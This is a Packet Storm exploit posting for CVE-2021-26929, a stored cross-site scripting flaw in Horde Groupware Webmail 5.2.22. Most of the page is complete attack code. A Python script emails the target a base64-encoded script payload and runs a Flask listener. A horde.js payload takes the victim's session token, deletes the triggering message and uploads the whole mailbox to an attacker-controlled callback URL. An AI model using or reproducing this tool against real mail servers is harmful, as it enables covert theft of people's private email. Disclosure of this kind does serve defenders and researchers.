what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Horde Groupware Webmail 5.2.22 Cross Site Scripting

Horde Groupware Webmail 5.2.22 Cross Site Scripting
Posted Apr 15, 2021
Authored by nu11secur1ty, Ventsislav Varbanovski, Alex Birnberg

Horde Groupware Webmail version 5.2.22 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-26929
SHA-256 | ac0067ca0ac896cea878797665b7d40d5e0749684dd8782ac6396bcae1757783

Horde Groupware Webmail 5.2.22 Cross Site Scripting

Change Mirror Download
# Exploit Title: Horde Groupware Webmail 5.2.22 - Stored XSS
# Author: Alex Birnberg
# Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty
# Date: 04.14.2021
# Vendor: https://www.horde.org/apps/webmail
# Link: https://github.com/horde/webmail/releases
# CVE: CVE-2021-26929

[+] Exploit Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929

[Exploit Program Code]

#!/usr/bin/python3
# Author idea: Alex Birnberg
# debug nu11secur1ty 2021
import io
import os
import ssl
import sys
import json
import base64
import string
import random
import logging
import smtplib
import sqlite3
import hashlib
import zipfile
import argparse
from flask import Flask, request, Response
from urllib.parse import urlparse

class Exploit:
def __init__(self, args):
# Database
if not os.path.exists('database.db'):
with sqlite3.connect("database.db") as conn:
cursor = conn.cursor()
cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);')
conn.commit()
# SMTP URL
o = urlparse(args.smtp)
self.smtp = {
'ssl': o.scheme.lower() == 'smtps',
'host': o.hostname or '127.0.0.1',
'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'),
'username': '' or o.username,
'password': '' or o.password
}
try:
if self.smtp['ssl']:
context = ssl.create_default_context()
context.verify_mode = ssl.CERT_OPTIONAL
context.check_hostname = False
self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context)
else:
self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port'])
except Exception as e:
print(e)
print('[-] Error connecting to SMTP server!')
exit()
try:
self.server.login(self.smtp['username'], self.smtp['password'])
except:
pass
# Callback URL
o = urlparse(args.callback)
self.callback = {
'url': '{}://{}'.format(o.scheme, o.netloc),
'path': ''.join(random.choice(string.ascii_letters) for i in range(20))
}
# Listener URL
o = urlparse(args.listener)
self.listener = {
'ssl': o.scheme.lower() == 'https',
'host': o.hostname or '0.0.0.0',
'port': o.port or 80,
'horde': ''.join(random.choice(string.ascii_letters) for i in range(20))
}
# Target email
self.target = args.target
# Subject
self.subject = args.subject or 'Important Message'
# Environment
self.env = {}
self.env['mailbox'] = args.mailbox or 'INBOX'
self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path'])

def trigger(self):
print('[*] Waiting for emails...')
self.bypass_auth()
print('\n[*] Done')

def bypass_auth(self):
def horde():
f = open('horde.js')
content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read())
f.close()
return content

def callback():
response = Response('')
with sqlite3.connect("database.db") as conn:
try:
if request.files.get('mbox'):
filename = request.files.get('mbox').filename.replace('zip', 'mbox')
content = request.files.get('mbox').stream.read()
zipdata = io.BytesIO()
zipdata.write(content)
content = zipfile.ZipFile(zipdata)
content = content.open(filename).read()
mail_hash = hashlib.sha1(content).digest().hex()
print('[+] Received mailbox ({})'.format(mail_hash))
cursor = conn.cursor()
cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content))
except:
pass
response.headers['Access-Control-Allow-Origin'] = '*'
return response

payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde'])
payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target)
# The secret services :)
content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
self.server.sendmail(self.smtp['username'], self.target, content)
app = Flask(__name__)
app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde)
app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST'])
logging.getLogger('werkzeug').setLevel(logging.ERROR)
cli = sys.modules['flask.cli']
cli.show_server_banner = lambda *x: None
try:
if self.listener['ssl']:
app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
else:
app.run(host=self.listener['host'], port=self.listener['port'])
except:
pass

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL')
parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL')
parser.add_argument('--listener', help='Listener URL', metavar='URL')
parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL')
parser.add_argument('--subject', help='Email subject', metavar='SUBJECT')
parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX')
args = parser.parse_args()
exploit = Exploit(args)
exploit.trigger()
horde.js

class Exploit {
constructor() {
this.basepath = document.location.pathname.substring(0, document.location.pathname.indexOf('imp'));
}

trigger() {
this.mailbox = this.get_mailbox();
this.buid = this.get_buid();
this.token = this.get_token();
this.auto_delete()
.then(() => {
this.exfiltrate_emails({mailbox: env.mailbox});
});
}

async auto_delete() {
let params = new URLSearchParams()
params.append('token', this.token);
params.append('view', this.mailbox);
params.append('buid', this.buid);
return fetch(this.basepath + 'services/ajax.php/imp/deleteMessages', {
method: 'POST',
body: params
})
.then(() => {
let params = new URLSearchParams();
params.append('token', this.token);
params.append('view', this.mailbox);
return fetch(this.basepath + 'services/ajax.php/imp/purgeDeleted', {
method: 'POST',
body: params
})
.then(() => {
if (document.getElementById('checkmaillink') !== null) {
document.getElementById('checkmaillink').click();
}
});
});
}

async exfiltrate_emails(args) {
let mbox_list = '["' + this.get_mailbox() + '"]';
if (args.mailbox.toUpperCase() != 'INBOX') {
let params = new URLSearchParams();
params.append('reload', '1');
params.append('unsub', '1');
params.append('token', this.token);
let mailboxes = await fetch(this.basepath + 'services/ajax.php/imp/listMailboxes', {
method: 'POST',
body: params
})
.then(response => {
return response.text();
})
.then(data => {
return JSON.parse(data.substring(10, data.length - 2));
});
mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => {
if (mailbox.l.toUpperCase() == args.mailbox) {
if (mbox_list === undefined) {
mbox_list = '["' + mailbox.m + '"]';
}
}
});
}
let zip = await fetch(this.basepath + 'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list + '&type=mboxzip&token=' + this.token + '&fn=/')
.then(response => {
return [response.blob(), response.headers.get('Content-Disposition')];
});
let filename = zip[1];
filename = filename.substring(filename.indexOf('filename="') + 10, filename.length - 1);
zip = await zip[0];
let formData = new FormData();
formData.append('mbox', zip, filename);
fetch(window.env.callback, {
method: 'POST',
body: formData
});
}

get_token() {
let link;
let token;
if (document.getElementsByClassName('smartmobile-logout').length > 0) {
link = document.getElementsByClassName('smartmobile-logout')[0].href;
}
else if (document.getElementById('horde-logout') !== null) {
link = document.getElementById('horde-logout').getElementsByTagName('a')[0].href;
}
else {
link = location.href;
}
if (link.match('horde_logout_token=(.*)&') !== null) {
token = link.match('horde_logout_token=(.*)&')[1];
}
if (token === undefined && link.match('token=(.*)&') !== null) {
token = link.match('token=(.*)&')[1];
}
return token;
}

get_mailbox() {
if (window.DimpBase !== undefined) {
return DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({
VP_id: {
equal: [ DimpBase.pp.VP_id ]
}
}).get('dataob').first().VP_view;
}
else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {
return location.href.match('mailbox=([A-Za-z0-9]*)')[1];
}
else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {
return location.href.match('mbox=([A-Za-z0-9]*)')[1];
}
}

get_buid() {
if (location.href.match('buid=([0-9]*)') !== null) {
return location.href.match('buid=([0-9]*)')[1];
}
else if (location.href.match(';([0-9]*)') !== null) {
return location.href.match(';([0-9]*)')[1];
}
}
}

const exploit = new Exploit();
exploit.trigger();
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close